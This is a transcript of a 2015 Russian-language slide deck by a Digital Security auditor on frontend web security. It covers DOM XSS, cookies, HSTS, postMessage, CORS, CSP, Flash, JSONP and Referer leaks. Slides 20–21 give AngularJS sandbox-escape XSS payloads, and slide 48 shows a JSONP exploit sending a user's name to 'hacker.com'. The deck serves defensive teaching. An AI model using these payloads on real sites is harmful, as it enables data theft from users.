Top Banner
(Не)безопасный frontend Сергей Белов аудитор ИБ Digital Security
59

(Не)безопасный frontend

Aug 21, 2015

Download

Technology

Sergey Belov
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: (Не)безопасный frontend

(Не)безопасный frontend

Сергей Белов аудитор ИБ Digital Security

Page 2: (Не)безопасный frontend

# whoami

© 2002—2015, Digital Security 2

(Не)безопасный frontend

Work/Activity BugHuting Speaker

Page 3: (Не)безопасный frontend

О чём разговор?

© 2002—2015, Digital Security 3

(Не)безопасный frontend

SOP Same Origin Policy

scheme://domain:port + усиление безопасности

Page 4: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 4

(Не)безопасный frontend

Межсайтовый скриптинг

Page 5: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 5

(Не)безопасный frontend

Межсайтовый скриптинг (XSS) Хранимые (server side) Отраженные (server side) DOM (client side!)

Page 6: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 6

(Не)безопасный frontend

document.write("Site is at: " + document.location.href);

http://victim.com/action#<script>alert('xss')</script>

Page 7: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 7

(Не)безопасный frontend

Sources document.URL location document.referrer window.name localStorage cookies …

Page 8: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 8

(Не)безопасный frontend

Sinks eval document.write (element).innerHTML (element).src setTimeout / setInterval execScript …

https://code.google.com/p/domxsswiki/ http://habrahabr.ru/company/xakep/blog/189210/

Page 9: (Не)безопасный frontend

Межсайтовый скриптинг

© 2002—2015, Digital Security 9

(Не)безопасный frontend

Page 10: (Не)безопасный frontend

Утечки информации

© 2002—2015, Digital Security 10

(Не)безопасный frontend

Утечки информации

Page 11: (Не)безопасный frontend

© 2002—2015, Digital Security 11

(Не)безопасный frontend

testServer = host.match(/[^.]+\.((?:f|my\.XXX)\d*)\.YYY\.ru/)

devServer = host.match(/^.+\.dev\.YYY\.ru$/),

isXXX = testServer && testServer[1].indexOf('my.XXX') == 0,

...

internalDevHOST = '172.16.22.2';

internalProdHOST = '172.16.22.5';

...

file\:\/\/\/applications\/releases\...\/sidebar\.scss

Утечки информации

Page 12: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 12

(Не)безопасный frontend

MVC фреймворки

Page 13: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 13

(Не)безопасный frontend

Page 14: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 14

(Не)безопасный frontend

Фреймворки помогают расширить работу с DOM - Шаблонизаторы - Новые элементы <rockyou></rockyou> - Биндинги

Page 15: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 15

(Не)безопасный frontend

Logic-less templates <ul>

<li ng-repeat="phone in phones">

<span>{{phone.name}}</span>

<p>{{phone.snippet}}</p>

</li>

</ul>

Page 16: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 16

(Не)безопасный frontend

Фигурные скобки <ul>

<li ng-repeat="phone in phones">

<span>{{phone.name}}</span>

<p>{{phone.snippet}}</p>

</li>

</ul>

Page 17: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 17

(Не)безопасный frontend

Logic-less templates.

http://mustache.github.io/

Page 18: (Не)безопасный frontend

JSMVC фреймворки

© 2002—2015, Digital Security 18

(Не)безопасный frontend

Page 19: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 19

(Не)безопасный frontend

•VueJS •AngularJS •CanJS •Underscore.js •KnockoutJS •Ember.js

•Polymer •Ractive.js •jQuery •JsRender •Kendo UI

Mustache Security

https://code.google.com/p/mustache-security/

Page 20: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 20

(Не)безопасный frontend

Mustache Security AngularJS (1.1.5) – Межсайтовый скриптинг <div class="ng-app">

{{constructor.constructor('alert(1)')()}}

</div>

Page 21: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 21

(Не)безопасный frontend

Mustache Security AngularJS (1.2.18) – Межсайтовый скриптинг, после фиксов {{

(_=''.sub).call.call({}[$='constructor']

.getOwnPropertyDescriptor(_.__proto__,$)

.value,0,'alert(1)')()

}}

Page 22: (Не)безопасный frontend

MVC фреймворки

© 2002—2015, Digital Security 22

(Не)безопасный frontend

Обновление фрейморков важно для безопасности!

Page 23: (Не)безопасный frontend

Cookies

© 2002—2015, Digital Security 23

(Не)безопасный frontend

Cookies

Page 24: (Не)безопасный frontend

Cookies

© 2002—2015, Digital Security 24

(Не)безопасный frontend

Обычно <?php

setcookie('foo','bar1'); ?>

import Cookie

C = Cookie.SimpleCookie()

C["foo"] = "bar"

print C

Set-Cookie: foo=bar

Page 25: (Не)безопасный frontend

Cookies

© 2002—2015, Digital Security 25

(Не)безопасный frontend

Правильно: 1) Указывать домен для установки cookies 2) HttpOnly для сессионных значений (phpsessid…) 3) Secure в случае “HTTPS only”

Page 26: (Не)безопасный frontend

Переход на HTTPS

© 2002—2015, Digital Security 26

(Не)безопасный frontend

Переход на HTTPS

Page 27: (Не)безопасный frontend

Переход на HTTPS

© 2002—2015, Digital Security 27

(Не)безопасный frontend

Server side: • Выбор сертификата • Настройка вебсервера (ciphersuite и т.п.) • Перенаправление

Page 28: (Не)безопасный frontend

Переход на HTTPS

© 2002—2015, Digital Security 28

(Не)безопасный frontend

Client side • Запрещаем заходить по HTTP – HSTS Strict-Transport-Security: max-age=31536000;

• Добавляем свой ресурс в HSTS preload list http://www.chromium.org/hsts

Page 29: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 29

(Не)безопасный frontend

Безопасность HTML5

Page 30: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 30

(Не)безопасный frontend

otherWindow.postMessage(message, targetOrigin);

Window.postMessage()

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event)

{

if (event.origin !== "http://example.org:8080")

return;

// ...

}

Домен A

Домен B

Page 31: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 31

(Не)безопасный frontend

Window.postMessage()

if(message.orgin.indexOf(".example.com")!=-1)

{

/* ... */

}

Неправильно!

example.com.attacker.com

Page 32: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 32

(Не)безопасный frontend

HTTP access control (CORS)

1) Модно 2) Безопасно 3) Накосячить очень сложно

Page 33: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 33

(Не)безопасный frontend

Cross-origin resource sharing (CORS)

В ответе веб-сервера: Access-Control-Allow-Origin: *

Означает отдавать контент всем

Page 34: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 34

(Не)безопасный frontend

Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: *

Означает отдавать контент всем Но это правило несовместимо с заголовком Access-Control-Allow-Credentials: true

Page 35: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 35

(Не)безопасный frontend

Web Sockets

1) Нет авторизации 2) WSS:// для важных данных 3) Валидацию никто не отменял (сервер/клиент) 4) Проверка Origin (не отменяет п. 1) 5) …

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

Page 36: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 36

(Не)безопасный frontend

Content Security Policy

Указывает браузеру доверенные домены для различных ресурсов (картинки, js, css...)

X-Content-Security-Policy: script-src js.example.com

Page 37: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 37

(Не)безопасный frontend

Page 38: (Не)безопасный frontend

Безопасность HTML5

© 2002—2015, Digital Security 38

(Не)безопасный frontend

Обход 1) Возможность загружать файлы на разрешенные

домены в CSP (приложения в почте, сообщениях) 2) Загрузить js файл и подключить

Page 39: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 39

(Не)безопасный frontend

Flash

Page 40: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 40

(Не)безопасный frontend

Магический crossdomain.xml

Самый частый случай

Page 41: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 41

(Не)безопасный frontend

Магический crossdomain.xml

Чуть реже • Множество доменов, в т.ч. от старых названий и проектов (wamba.com bugbounty – 3000 рублей) • Разрешены домены для приложений из соц. сетей

Page 42: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 42

(Не)безопасный frontend

XSS через Flash - пример с getURL

Уязвимый код getURL(_root.URI,'_targetFrame');

Пример эксплуатации http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');

Больше про Cross Site Flashing на OWASP

Page 43: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 43

(Не)безопасный frontend

CVE-2011-2461 IS BACK!

1) SWF должен быть собран с уязвимой версией Adobe Flex 2) Дает полный обход SOP

Page 44: (Не)безопасный frontend

Flash

© 2002—2015, Digital Security 44

(Не)безопасный frontend

CVE-2011-2461 IS BACK!

Для проверки можно использовать ParrotNG https://github.com/ikkisoft/ParrotNG/

java -jar parrotng_v0.2.jar <SWF File | Directory>

Больше информации • http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html • http://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back

Page 45: (Не)безопасный frontend

Раскрытие информации через JSONP

© 2002—2015, Digital Security 45

(Не)безопасный frontend

Раскрытие информации через JSONP

Page 46: (Не)безопасный frontend

Раскрытие информации через JSONP

© 2002—2015, Digital Security 46

(Не)безопасный frontend

Page 47: (Не)безопасный frontend

JSONP leaks

© 2002—2015, Digital Security 47

(Не)безопасный frontend

Page 48: (Не)безопасный frontend

JSONP leaks

© 2002—2015, Digital Security 48

(Не)безопасный frontend

http://habrahabr.ru/post/186160/

<script>

function func(obj) {

var url = "http://hacker.com/log?val="+obj['username'];

$.get(url);

}

</script>

<script src="http://victim.com/api/getUserInfo?callback=func">

</script>

Page 49: (Не)безопасный frontend

X-Frame-Options

© 2002—2015, Digital Security 49

(Не)безопасный frontend

X-Frame-Options

Page 50: (Не)безопасный frontend

X-Frame-Options

© 2002—2015, Digital Security 50

(Не)безопасный frontend

X-Frame-Options в ответе веб-сервера позволяет 1) Полностью запретить показ страницы во фрейме 2) Частично запретить (например, разрешить только

для того же origin)

Page 51: (Не)безопасный frontend

X-Frame-Options

© 2002—2015, Digital Security 51

(Не)безопасный frontend

Page 52: (Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 52

(Не)безопасный frontend

Extensions / SmartTV

Page 53: (Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 53

(Не)безопасный frontend

Расширения для браузера? -JS/HTML/CSS - Взаимодействие с DOM - Неограниченные XHR запросы - Расширенное API

Приложения для SmartTV – тоже самое.

Page 54: (Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 54

(Не)безопасный frontend

Page 55: (Не)безопасный frontend

Extensions / SmartTV

© 2002—2015, Digital Security 55

(Не)безопасный frontend

Видео

Page 56: (Не)безопасный frontend

© 2002—2015, Digital Security 56

(Не)безопасный frontend

На десерт

Page 57: (Не)безопасный frontend

© 2002—2015, Digital Security 57

(Не)безопасный frontend

<a href=“http://external.com”>Go!</a>

В заголовках будет Referer: http://yoursite.com/ А что в случае с изображениями, стилями, JS файлами?

Page 58: (Не)безопасный frontend

© 2002—2015, Digital Security 58

(Не)безопасный frontend

http://super-website.com/user/passRecovery?t=SECRET ...

<img src=http://comics.com/password.jpg>

... Владелец

comics.com Знает все секретные токены (для сброса пароля!)

Page 59: (Не)безопасный frontend

twitter.com/sergeybelove

[email protected]

© 2002—2015, Digital Security

Digital Security в Москве: (495) 223-07-86

Digital Security в Санкт-Петербурге: (812) 703-15-47

59

Тестируйте безопасность!